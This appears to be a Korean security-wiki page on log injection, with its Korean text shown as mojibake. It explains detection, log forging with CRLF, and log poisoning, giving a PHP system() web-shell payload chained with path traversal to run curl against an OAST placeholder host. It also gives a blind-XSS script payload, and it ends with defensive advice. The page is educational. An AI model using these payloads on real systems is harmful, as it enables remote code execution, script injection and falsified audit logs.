๐ Introduction
Log Injection์ ์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ก๊ทธ์ ํฌํจ๋๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ด์ฉํด ๋ก๊ทธ ํญ๋ชฉ์ ์์กฐํ๊ฑฐ๋ ์ ์ฑ ๋ด์ฉ์ ๋ก๊ทธ์ ์ฝ์ ํ ์ ์์ต๋๋ค.
๐ก Offensive techniques
Detect
WhiteBox
์์ค์ฝ๋ ๋๋ ๋ก๊ทธ๋ฅผ ํ์ธํ ์ ์๋ ๊ฒฝ์ฐ ์๋ณํ๊ธฐ ์ฝ์ต๋๋ค. ์๋ฌ ๋ก๊ทธ์์ ์ฌ์ฉ์์ ์ ๋ ฅ ๊ฐ์ ํฌํจํ์ฌ ๋ก๊น ํ๋ ๊ฒฝ์ฐ ํด๋น ์ทจ์ฝ์ ์ ์ํฅ์ ๋ฐ์ต๋๋ค.
- ์ฝ๋๋ ๋ฒจ: ๊ฐ ์ธ์ด์์ ๋ก๊ทธ๋ฅผ ์์ฑํ๋ ๋ถ๋ถ ์ค ์ฌ์ฉ์ ์ ๋ ฅ์ด ์กด์ฌํ๋์ง ์ฒดํฌ
- ๋ก๊ทธ๋ ๋ฒจ: ์ค์ ๋ก ์น ์์ฒญ์ ํตํด ์๋ฌ๋ฅผ ์ ๋ํ๊ณ , ๊ธฐ๋ก๋๋ ๋ก๊ทธ๋ฅผ ์ฒดํฌ
์ธ์ด ๋ณ ์ทจ์ฝํ ์ฝ๋๋ Vulncat์ ์ ๋ฆฌ๋์ด ์์ผ๋ ํด๋น ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
// ์ทจ์ฝ ์ฝ๋ ์์
// ์๋ ์ฝ๋๋ query ํ๋ผ๋ฏธํฐ๋ก ๋ถํฐ ์ป์ ๊ฐ์ด ๋ณ๋์ ๊ฒ์ฆ ์์ด
// log๋ก ๊ธฐ๋ก๋ฉ๋๋ค.
input := r.FormValue("query")
logger.ErrorF("Error input: %s / %s", input, err)
BlackBox
์์ค์ฝ๋๋ ๋ก๊ทธ๋ฅผ ํตํด ํ์ธํ ์ ์๋ค๋ฉด ์ผ๋ฐ์ ์ผ๋ก ์๋ณํ๊ธฐ ์ด๋ ต์ต๋๋ค. ๋จ Blind ๊ณํต์ ์ทจ์ฝ์ ์ ํตํด ํ์ธํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์ด ๋ OAST๋ฅผ ์ด์ฉํ ํ ์คํ ๋ฐฉ๋ฒ์ด ๊ฐ์ฅ ์ ์ฉํฉ๋๋ค. ๋ก๊ทธ ๋ด OAST ์์ฒญ์ ๋ฐ์์ํค๋ ์ฝ๋๋ฅผ ์ฝ์ ํ ํ ๋ก๊ทธ๋ฅผ ์ ๋ํ์ฌ OAST ์๋น์ค๋ฅผ ํตํด Reaction์ ํ์ธํ๊ณ , ์์ฒญ์ด ์จ๋ค๋ฉด ๋ฐฑ์๋์์ Blind ๊ณํต์ ์ทจ์ฝ์ ๊ฐ๋ฅ์ฑ์ด ์๋ค๋ ๊ฒ์ ์ ์ ์๊ฒ ๋ฉ๋๋ค.
e.g
GET /please_error_trigger HTTP/1.1
User-Agent: aaaaaaa"><img/src=OAST>
๋จ Callback์ด ์จ ๊ฒฝ์ฐ ๋จ์ Log injection์ด ์๋ Blind SSRF, Blind XSS ๋ฑ ๋ค๋ฅธ ์ทจ์ฝ์ ์ผ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
Exploitation
Log forging
์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ก๊ทธ์ ๋ฐ์๋๋ ๋ถ๋ถ์ด ์๋ค๋ฉด CRLF(\r\n) ๋ฌธ์๋ฅผ ์ด์ฉํ์ฌ ์๋ก์ด ๋ก๊ทธ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ก๊ทธ๋ ์นจํด์ฌ๊ณ ๋ถ์์ ์ด๋ ต๊ฒํ ์ ์๊ณ , ๋ก๊ทธ์ ๋ฌด๊ฒฐ์ฑ์ ํด์ณ์ ๋ก๊ทธ์ ์ ๋ขฐ๋๋ฅผ ๋จ์ด๋จ๋ฆฌ๊ณ , ๋ก๊ทธ๊ฐ ๊ฐ์ง๋ ๋ถ์ธ ๋ฐฉ์ง๋ก์์ ๋ชฉ์ ์ ์์คํ๊ฒ ํ ์ ์์ต๋๋ค.
์ฝ๋
input := r.FormValue("query")
logger.ErrorF("['%s' User][error][input: %s] %s", username, input, err)
์์ฒญ๊ณผ ์ ์ ๋ก๊ทธ
GET /?query=aaaa
['A' User][error][input: aaaa] invalid data
๊ณต๊ฒฉ ์์ฒญ๊ณผ ๋ก๊ทธ
GET /?query=aaaa]%20invalid%20data%0d%0a['B' User][token]%20re-generate%20token
['A' User][error][input: aaaa] invalid data
['B' User][token] re-generate token
Log Poisoning
Log ๋ฐ์ดํฐ๋ฅผ ํต์ ํ ์ ์๊ณ ์๋น์ค ๋ด LFI, Path Traversal ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ ๋ก๊ทธ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์ ์ถํ์ฌ RCE ๋ฑ ์ํ๋ ๋์ผ ์ ์์ต๋๋ค.
First request (log poisoning)
GET / HTTP/1.1
User-Agent: aa<?php echo system($_GET['cmd']); ?>bb
Second request (path traversal)
GET /file.php?path=/var/log/apache2/access.log?cmd=curl%20<OAST>/rce HTTP/1.1
Blind XSS
๋ก๊ทธ๋ฅผ ์ฒ๋ฆฌํ๋ ์ด๋๋ฏผ์ด๋ ์น ์๋น์ค๊ฐ ์๋ค๋ฉด ์ด๋ฅผ ์ด์ฉํด์ Blind XSS๊ฐ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
GET /?query=aaa"'></script><script src=<OAST>></script>
// ๋ก๊ทธ
['A' User][error][input: aaa"'></script><script src=<OAST>></script>] invalid data
// ๋ง์ฝ ์น ์๋น์ค์์ ์ ๋ก๊ทธ๋ฅผ ํ์ธํ ์ ์๋ค๋ฉด Blind XSS๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
๐ก Defensive techniques
๊ฐ๊ธ์ ์ฌ์ฉ์์ ์ ๋ ฅ์ด ๋ก๊ทธ์ ๋ฐ์๋์ง ์๋๋ก ์ฝ๋๋ฅผ ์์ฑํด์ผํ๋ฉฐ, ๋ง์ฝ ์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ฐ์๋์ด์ผ ํ๋ ๊ฒฝ์ฐ ๋ก๊ทธ ํฌ๋งท์ ์ํฅ์ ์ค ์ ์๋๋ก CRLF, Tab, ๊ณผ๋ํ Space ๋ฑ์ ๋ฌธ์๋ ๊ธฐ๋ก๋์ง ์๋๋ก ๊ฒ์ฆํด์ผ ํฉ๋๋ค.
๐น Tools
- ์์ค์ฝ๋ ๋ถ์ ๋๊ตฌ
- OAST ๊ด๋ จ ๋๊ตฌ